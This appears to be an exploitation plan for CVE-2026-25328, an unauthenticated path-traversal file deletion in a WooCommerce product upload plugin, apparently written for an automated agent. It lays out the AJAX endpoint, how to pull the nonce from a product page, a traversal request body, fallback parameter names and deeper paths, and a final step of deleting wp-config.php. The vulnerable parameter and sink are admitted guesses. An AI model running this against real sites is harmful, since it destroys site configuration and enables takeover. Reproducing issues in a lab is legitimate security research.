Research Plan: CVE-2026-25328 - Unauthenticated Arbitrary File Deletion

1. Vulnerability Summary

The Product File Upload for WooCommerce plugin (versions <= 2.2.4) contains a path traversal vulnerability in its file removal functionality. The plugin exposes an unauthenticated AJAX handler that accepts a file path (or name) and deletes the corresponding file using PHP's unlink() function without proper sanitization or validation that the path resides within the intended upload directory. This allows an unauthenticated attacker to delete critical system files, such as wp-config.php.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Unauthenticated Action: superaddons_products_uploads_remove (as registered in frontend/index.php)
• HTTP Method: POST
• Vulnerable Parameter: file (inferred, based on typical removal handler patterns)
• Required Nonce: Yes, the plugin requires a nonce created with the action string 'checkout_file_upload'.
• Preconditions: The plugin must be active. The removal functionality is available to anyone who can access a product page to retrieve the nonce.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action superaddons_products_uploads_remove.
2. Hook Registration: In frontend/index.php, the class Superaddons_Products_Uploads_Frontend registers the AJAX handler:

   add_action( 'wp_ajax_nopriv_superaddons_products_uploads_remove', array($this,'superaddons_products_uploads_remove') );
   

3. Vulnerable Function: The superaddons_products_uploads_remove function is called.
4. Insecure Sink (Inferred): The function likely retrieves a path from $_POST['file'], prepends the WordPress upload directory path, and passes the resulting string directly to unlink().
5. Traversal: By providing a payload like ../../wp-config.php, the attacker escapes the intended directory and deletes the site configuration file.

4. Nonce Acquisition Strategy

The plugin enqueues a script and localizes a nonce for unauthenticated users on WooCommerce product pages.

1. Identify Trigger: The nonce is enqueued via the woocommerce_before_add_to_cart_button hook in frontend/index.php. This means the script (and the nonce) will be present on any single product page.
2. Create Content: To ensure a reliable target, create a standard WooCommerce product.
3. Navigate: Use the browser to visit the product's URL.
4. Extract: Execute JavaScript in the browser context to read the localized object:
   • JS Variable: superaddons_products_uploads
   • Nonce Key: nonce (as seen in add_lib() verbatim: 'nonce' => wp_create_nonce('checkout_file_upload'))
   • Command: browser_eval("window.superaddons_products_uploads?.nonce")

5. Exploitation Strategy

1. Setup Canary: Create a file named canary.txt in the WordPress root directory to safely test deletion.
2. Retrieve Nonce: Visit a product page and extract the nonce using the strategy above.
3. Construct Payload:
   • The removal handler likely constructs the path as wp_upload_dir()['basedir'] . '/' . $file.
   • Since basedir is usually wp-content/uploads, the traversal to reach the root is ../../.
4. Execute Deletion: Send a POST request using http_request.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=superaddons_products_uploads_remove&nonce=[NONCE]&file=../../canary.txt
     

5. Verify: Check if canary.txt still exists on the filesystem.

6. Test Data Setup

1. Active Plugin: Ensure products-file-upload-for-woocommerce is installed and activated.
2. Woocommerce Dependency: Ensure WooCommerce is installed and basic setup is completed.
3. Target Product:

   wp post create --post_type=product --post_title="Exploit Target" --post_status=publish
   

4. Canary File:

   echo "vulnerable" > /var/www/html/canary.txt
   

7. Expected Results

• The AJAX request should return a successful response (likely JSON or a '1').
• The file /var/www/html/canary.txt should be deleted from the server.
• If targeting wp-config.php, the site should immediately enter the WordPress installation screen upon the next refresh.

8. Verification Steps

1. CLI Check: Use ls via the agent's shell or a similar check to confirm the canary is gone.

   ls /var/www/html/canary.txt
   

2. Response Check: Confirm the AJAX endpoint didn't return a 403 Forbidden (which would indicate a nonce failure).

9. Alternative Approaches

• Parameter Guessing: If file is not the correct parameter, try file_name, path, or remove_file.
• Path Depth: If ../../ fails, try deeper traversals (e.g., ../../../canary.txt) in case the plugin stores files in a nested subdirectory like wp-content/uploads/product-files/.
• Targeting WP-Config: As a final PoC step, attempt to delete wp-config.php and verify the site goes to wp-admin/setup-config.php.